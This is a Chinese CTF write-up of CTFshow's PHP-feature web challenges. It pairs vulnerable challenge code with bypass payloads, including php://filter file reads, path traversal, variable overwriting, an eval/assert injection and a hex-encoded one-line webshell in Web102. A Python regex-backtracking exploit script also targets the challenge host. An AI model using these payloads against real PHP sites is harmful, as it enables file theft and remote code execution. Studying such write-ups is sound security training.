CTFshow Web专题 PHP特性
[TOC]
Web89
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
这里考察的是 preg_match — 执行匹配正则表达式
这个表达式的匹配。我们可以参考官方文档
**preg_match()返回
pattern
的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后 将会停止搜索。
由于参与匹配的是字符串内容,我们可以构造非字符串也就是数组内容?num[]=1;
Web90
这道题目是intval( )函数的使用,还是看下这个函数的官方文档吧:
intval ( mixed $var [, int $base = 10 ] ) : int
#Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制:
#如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
#如果字符串以 “0” 开始,使用 8 进制(octal);否则,
#将使用 10 进制 (decimal)。
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
可以使用的方式很多,4476.0,+4476.0,4476e0,0x117c,010574这些方式都可以绕过===
Web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
- 正则表达式,
i
不区分大小写m
多行匹配 - 多行匹配中存在php,单行不匹配
?cmd=%0aphp
Web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这个什么都没有过滤,可以用+法,小数,八进制,十六进制都行…
Web93
这道题过滤了 [a-z]/i ,并且将num==“4476”,这样使用+4476,4476.0都被过滤了,同时过滤了字母,所以包含0x的十六进制也被过滤了,我们可以使用八进制形式的010574进行绕过
Web94
这道题又改回了 $num===“4476” ,这样把小数给放出来了,这样应该是考我们小数.?num=4476.0就能完成。当然用计算的方式也行,比如4476+0
Web95
这一个题目的问题主要产生在 strpos ()这个函数上,可以看到这个函数必须含有0,同时弱类型匹配过滤了运算,下面又进一步过滤了小数点,16进制,还是使用八进制的010574进行操作,对strpos函数的绕过,我们可以使用 空格
或者换行符

在linux下面表示当前目录是 ./ 所以payload: u=./flag.php,这一道题应该说是linux系统尝试和PHP特性的结合吧
这里也可以使用php伪协议进行绕过:?file=php://filter/convert.base64-encode/resource=flag.php对得到的内容进行PHP解码就行
Web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
a!=b,同时md5值相同这直接上数组就行…a[]=1&b[]=2
Web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
这里是三目运算符和取地址, 根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。中间两行意义不大 , 如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。
思路:存在get参数,那么POST参数赋值给GET(名为GET其实为POST)在POST参数HTTP_FLAG
?a=a post:HTTP_FLAG=flag
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
v2,v3以get传参传入,v1必须通过post传参传入。
is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。但在php5版本下有漏洞,在数字中间带e会被识别为科学计数法。
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
//输出5044383959474e6864434171594473
file_put_contents() 函数把一个字符串写入文件中。
call_user_func() 函数把第一个参数作为回调函数调用,通过这个函数可以将编码为16进制的V2重新变为一句话木马,v3通过伪协议写入1.php文件中内容,v1通过Post传参传入hex2bin
Web103
解题过程payload同web102
Web104
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}?>
要求v1的散列与v2的散列相等, sha1()函数在判断时无法处理数组类型,会返回false,故可以构建数组类型绕过
当然因为没有什么过滤什么的,完全可以直接令v1和v2都置为1,也能得到flag。
Web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){ #get是一个预定义的数组,此处将get中的数据按照键值对取出
if($key==='error'){ #key是传入的参数名称 成立条件 error=random
die("what are you doing?!");
}
$$key=$$value; #此处将传入的传参名(键)和传参值(值)定义为变量,并使传参名(键)的数值等于传参值(值),通俗的说,就是咱们人工加入了一个变量,而且给予赋值
}foreach($_POST as $key => $value){ #post同样是一个预定义的数组,同样按照键值对取出
if($value==='flag'){ #如果传入的值为flag,if判定成立
die("what are you doing?!");
}
$$key=$$value; #同上,人工添加变量
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n"; #要输出flag需要满足$_POST['flag']==$flag,但是$flag属于未知,我们就可以进行变量覆盖
die($suces);
Web106
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
我们这里需要使用数组绕过也可以使用,强碰撞 aaroZmOk与aaK1STfY或aaO8zKZF与aa3OFF9m
Web107
这个真是涨知识了,parse_str()函数这个我真不知道。
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
在官方文档中
parse_str — 将字符串解析成多个变量
parse_str ( string $encoded_string [, array &$result ] ) : void
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
我们传入v3=1 然后v1=flag=c4ca4238a0b923820dcc509a6f75849b 即1的md5值即可
Web108
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;}
?>
考察点:ereg %00正则截断
第一层是ereg()函数, ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
第二层一个弱比较,strrev()函数是反转字符串,intval()函数通过使用指定的进制 base 转换,返回变量 var 的 integer 数值。
我们可以通过a%00778完成绕过。首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
Web109
这玩意,我怎么说呢,我真不会,这一块也是学了一些新的东西
Exception 异常处理类 http://c.biancheng.net/view/6253.html
Web111
变量覆盖,这里应该考察的就是全局元素
Web112
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
过滤了data和base64,但是怎么说呢,过滤了这个偏偏可以想着如何绕过这个过滤…这种情况大概是非预期解
/?file=php://filter/convert.%2562ase64-encode/resource=flag.php
Web123
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
所以如果我们直接传CTF_SHOW.COM是会被转换成CFT_SHOW_COM的,绕过的话这里要利用它的判定规则,当变量名中存在两个不合法字符时,只转换前面的那一个。[和.并存时,会转换前面的[,而[转换之后恰好为_,从而可以绕过。
Web125
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
$argv:传递给脚本的参数数组
Web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
源代码第六行使用 isset 语句判断,所以我们需要定义 CTF_SHOW ,CTF_SHOW.COM,但是不能声明fl0g,但是后面的判断中fl0g==="flag_give_me"才能得到flag,这里就需要我们通过 CTF_SHOW ,CTF_SHOW.COM两个参数绕过。
assert函数
bool assert ( mixed $assertion [, Throwable $exception ] ) , eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加。
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
Web127
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
extract抽取函数:通常情况结合数组使用,?ctf_show=ilove36d但是下划线被过滤了,这里又一次用到了上面讲到的内容,当变量名中存在会将其转化为_ 空格是经典的非法参数,我们就可以用%20进行绕过
Web128
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
Web129
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos() 函数查找字符串在另一字符串中第一次出现的位置 ,readfile() 函数输出一个文件。同时stripos($f, ‘ctfshow’)>0说明ctfshow不能放在首部。
这道题解法也有不少,比如目录穿越 ?f=/ctfshow/…/…/…/…/…/var/www/html/flag.php
再比如filter伪协议,?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
甚至我们可以 ?f=./ctfshow/…/flag.php 先进入名为ctfshow的下级文件夹在穿越回去,这个跟第一个本质上是一样的…
Web130
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
直接绕过正则表达式: f=ctfshow
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true。所以才有了直接f=ctfshow。
这一道题也可以通过数组绕过,因为stripos函数无法处理数组, 可以直接传f[]=1,
Web131
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
可以利用回溯限制来绕过。
当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。这里ctfshow提供的wp不知道为什么我做不出来…
这边利用回溯限制来绕过,当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。
import requests
url='http://8d380352-394f-4754-8bde-5c906930bcd2.challenge.ctf.show/'
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
Web132
打开是一个网站,访问robots.txt得到/admin打开/admin获得题目。
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
对于与
(&&) 运算: x && y
当x为false时,直接跳过,不执行y; 对于或(||)
运算 : x||y 当x为true时,直接跳过,不执行y ,同时与运算的优先级要高于或运算,所以我们只需要满足第三个条件就行。
?username=admin&password=admin&code=admin
Web137
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}static function getFlag(){
echo file_get_contents("flag.php");
}
}call_user_func($_POST['ctfshow']);
考察调用类中的函数
call_user_func()–第一个参数
callback
是被调用的回调函数,其余参数是回调函数的参数。
ctfshow=ctfshow::getFlag
#php中 ->与:: 调用类中的成员的区别,->用于动态语境处理某个类的某个实例,::可以调用一个静态的、不依赖于其他初始化的类方法。